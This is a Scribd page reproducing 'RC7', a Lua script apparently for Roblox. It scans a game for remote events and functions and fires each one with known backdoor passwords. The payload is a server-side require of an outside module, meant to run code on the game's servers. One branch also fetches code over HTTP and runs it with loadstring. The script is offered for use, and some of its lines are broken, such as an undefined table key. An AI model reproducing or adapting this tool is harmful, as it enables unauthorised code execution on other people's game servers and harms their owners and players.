0% found this document useful (0 votes)
3K views3 pages

RC7

Uploaded by

matvijdom
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
3K views3 pages

RC7

Uploaded by

matvijdom
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 3

local dateTimeNow = DateTime.

now
local tableFind = table.find
local taskSpawn = task.spawn
local taskWait = task.wait
local stringRep = string.rep

local RobloxReplicatedStorage = game:GetService("RobloxReplicatedStorage")


local ReplicatedStorage = game:GetService("ReplicatedStorage")
local JointsService = game:GetService("JointsService")
local StarterGui = game:GetService("StarterGui")

local LocalPlayer = game:GetService("Players").LocalPlayer


local requireScript = ("require(12350030542).RC7('%s',
%s)"):format(LocalPlayer.Name, "true", string.rep("!", 2400))
local GameCode = game.Name

local alternativeSS = {
run = { [1] = "5#lGIERKWEF" },
emma = { [1] = "pwojr8hoc0-gr0yxohlgp-0feb7ncxed", [2] = ",,,,,,,,,,,,,,," },
helpme = { [1] = "helpme" },
pickett = { [1] = "cGlja2V0dA==" }
}

local function notify(text)


StarterGui:SetCore(
"SendNotification",
{
Title = "RC7",
Duration = 1,
Text = text
}
)
end

local function attached(possibleWait)


local PlayerGui = LocalPlayer.PlayerGui

if possibleWait then
local start = dateTimeNow().UnixTimestampMillis
local possibleWait = possibleWait * 1000
while PlayerGui and not PlayerGui:FindFirstChild("RC7 Injected!") and
(possibleWait > dateTimeNow().UnixTimestampMillis - start) do
taskWait()
end
end

return PlayerGui and PlayerGui:FindFirstChild("It a game backdoored!")


end

local function validRemote(rm)


local Parent = rm.Parent

if getgenv().blacklisted then
if tableFind(getgenv().blacklisted, rm:GetFullName()) then return false
end
end

if Parent then
if Parent == JointsService then return false end
if (Parent == ReplicatedStorage and rm:FindFirstChild("__FUNCTION")) or
(rm.Name == "__FUNCTION" and Parent.ClassName == "RemoteEvent"
and Parent.Parent == ReplicatedStorage) then return false end

end

if rm:IsDescendantOf(RobloxReplicatedStorage) then return false end

return true
end

local function harked()


local backpack = LocalPlayer.Backpack
return backpack:FindFirstChild("HandlessSegway") and
backpack.HandlessSegway:FindFirstChild("RemoteEvents") and
backpack.HandlessSegway.RemoteEvents:FindFirstChild("DestroySegway")
end
local function emmaBackdoor(rm)
local Parent = rm.Parent
return rm.Name == "emma" and Parent and Parent.Name == "mynameemma" and
Parent.Parent == ReplicatedStorage
end

local function runBackdoor(rm)


local Parent = rm.Parent
return rm.Name == "Run" and Parent and
Parent:FindFirstChild("Pages") and Parent:FindFirstChild("R6") and
Parent:FindFirstChild("Version") and Parent:FindFirstChild("Title")
end

local function httpRequest(url)


if syn and syn.request then return syn.request({Url=url}).Body
elseif request then return request({Url=url}).Body
else return game:HttpGetAsync(url) end
end

local function scanGame()


notify("RC7 Scanning")

if harked() then
loadstring(httpRequest(alternativeSS.harked))()
return
end

do
local DescendantsList = game:GetDescendants()
for index=1, #DescendantsList do
if attached() then break end
local remote = DescendantsList[index]

if not validRemote(remote) then continue end


if remote.ClassName ~= "RemoteEvent" then continue end

if emmaBackdoor(remote) then
remote:FireServer(unpack(alternativeSS.emma),
requireScript)
end
if not attached() and runBackdoor(remote) then
remote:FireServer(unpack(alternativeSS.run), requireScript)
end

if not attached() then


remote:FireServer(unpack(alternativeSS.helpme), requireScript) end
if not attached() then
remote:FireServer(unpack(alternativeSS.pickett), requireScript) end
if not attached() then remote:FireServer(requireScript) end

end
if attached() then return end

for index=1, #DescendantsList do


if attached() then break end
local remote = DescendantsList[index]

if not validRemote(remote) then continue end


if remote.ClassName ~= "RemoteFunction" then continue end

local waiting = true


taskSpawn(function()
remote:InvokeServer(requireScript)
waiting = nil
end)

local start = dateTimeNow().UnixTimestampMillis


while waiting and 1000 > dateTimeNow().UnixTimestampMillis -
start do
taskWait()
end

end
end
end

local function Main()


notify(("RC7 Inject Game:\nCode: %s"):format(GameCode))

scanGame()

if not attached(3.5) then


notify("RC7 Enjecting False.\nIsn't game backdoored")
end
end

if game:IsLoaded() then
pcall(Main)
end

You might also like